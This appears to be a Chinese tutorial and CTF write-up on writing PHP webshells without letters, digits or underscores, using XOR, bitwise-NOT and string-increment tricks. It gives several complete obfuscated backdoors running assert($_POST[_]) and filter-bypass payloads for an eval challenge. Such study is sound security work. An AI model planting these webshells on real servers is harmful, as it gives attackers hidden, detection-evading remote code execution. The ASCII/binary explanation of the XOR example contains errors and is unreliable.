PHP不包括字母,數字和下劃線的webshell
文章目錄
前言
膜拜下phithon師傅
一些不包含數字和字母的webshell
信安之路的微笑
php 不用字母,數字和下劃線寫 shell
知識鋪墊
PHP中異或(^)概念
先上測試程式碼
<?php
echo "A"^"?";
?>
程式碼對字元A
和?
進行了異或操作.PHP中異或時會將字元轉化ASCII值在轉成二進位制,再進行異或.異或完反過來轉化成字元
A
的ASCII值為65
,二進位制則是01000001
?
的ASCII轉值為65
,二進位制是00111111
異或二進位制結果結果為10000000
,對應的字元就是~
.
非數字字母的PHP後門:
<?php
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
//.=是字元的連線
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); //上面程式碼為一句
?>
PHP取反(~)概念
利用的是UTF-8編碼的某個漢字,並將其中某個字元取出來,
比如:和
的utf-8編碼為\xe5\x92\x8c
,第三個位元組和{2}
的值為\x8c
,其取反值為-141
,負數用十六進位制表示,通常用的是補碼的方式表示。負數的補碼是它本身的值每位求反,最後再加一。141
的 16 進製為 0xff73
,php 中 chr(0xff73)==115
,115
就是 s
的 ASCII 值。因此
<?php
highlight_file(__FILE__);
$_="和";
echo (~($_{2}));
echo (~"\x8c"); //等同與上一句
?>
不用數字構造數字
- 利用PHP弱型別特效,true的值為
1
,則true+true=2
$_=('>'>'<')+('>'>'<')
print($_)
- 利用PHP未定義變數預設值為
null
,null=false=0
,所以利用自增操作得到數字
<?php
$_++;
print($_);
?>
用字串自增,獲取字元
php文件
在處理字元變數的算數運算時,PHP 沿襲了 Perl 的習慣,而非 C 的。例如,在 Perl 中 $a = ‘Z’; $a++; 將把 $a 變成’AA’,而在 C 中,a = ‘Z’; a++; 將把 a 變成 ‘[’(‘Z’ 的 ASCII 值是 90,’[’ 的 ASCII 值是 91)。注意字元變數只能遞增,不能遞減,並且只支援純字母(a-z 和 A-Z)。遞增/遞減其他字元變數則無效,原字串沒有變化。
也就是說,'a'++ => 'b'
,'b'++ => 'c'
… 所以,我們只要拿到一個變數值為a
,通過自增操作即可獲得a-z中所有字元。
在PHP中如果強制連線陣列和字串的話,陣列將被轉換成字串,其值為Array
,再取這個字串的第一個字母,就可以獲得A
了。
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
webshell
php5和7的差異。
- php5中assert是一個函式,我們可以通過 f(…);這樣的方法來動態執行任意程式碼。
- php7中,assert不再是函式,變成了一個語言結構(類似eval),不能再作為函式名動態執行程式碼,所以利用起來稍微複雜一點。但也無需過於擔心,比如我們利用file_put_contents函式,同樣可以用來getshell。
不用數字和字母的 shell
**核心思路:**將非字母、數字的字元經過各種變換,最後能構造出a-z中任意一個字元。然後再利用PHP允許動態函式執行的特點,拼接處一個函式名,如
assert
,然後動態執行之即可。
非字母、數字的字元異或出字母
不可列印字元,用 url 編碼表示
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
可用更短的字元
"`{{{"^"?<>/"//_GET
非字母、數字的字元取反出字母
<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST
$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])
簡短寫法,相當於直接把 utf8 編碼的某個位元組提取出來統一進行取反。
${~"\xa0\xb8\xba\xab"} //$_GET
php 遞增/遞減運算子
因為 PHP 函式是大小寫不敏感的,最終執行的是 ASSERT($POST[]),無需獲取小寫 a。
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
例項
<?php
include'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
payload
來自紅日安全
code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
分解:
$_="{{{"^"?<>/";
=$_="GET";
${$_}[_](${$_}[__]);
=$_GET[_]($_GET[__]);
=getFlag($_GET[__])
=getFlag(null);
這個 payload
的長度是 37 ,符合題目要求的 小於等於40 。另fuzz
出了長度為 28 的 payload ,如下:
$_="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$_();
fuzz
指令碼
<?php
$a = str_split('getFlag');
for($i = 0; $i < 256; $i++){
$ch = '{'^ chr($i);
if (in_array($ch, $a , true)) {
echo "{ ^ chr(".$i.") = $ch<br>";
}
}
echo "{{{{{{{"^chr(28).chr(30).chr(15).chr(61).chr(23).chr(26).chr(28);
?>
不包括數字,字母和下劃線的shell
例項
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";
?>
payload
只是多過濾了個下劃線_
中文做變數名
$哼="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$哼();
+做變數名
${"`{{{"^"?<>/"}['+']();&+=getFlag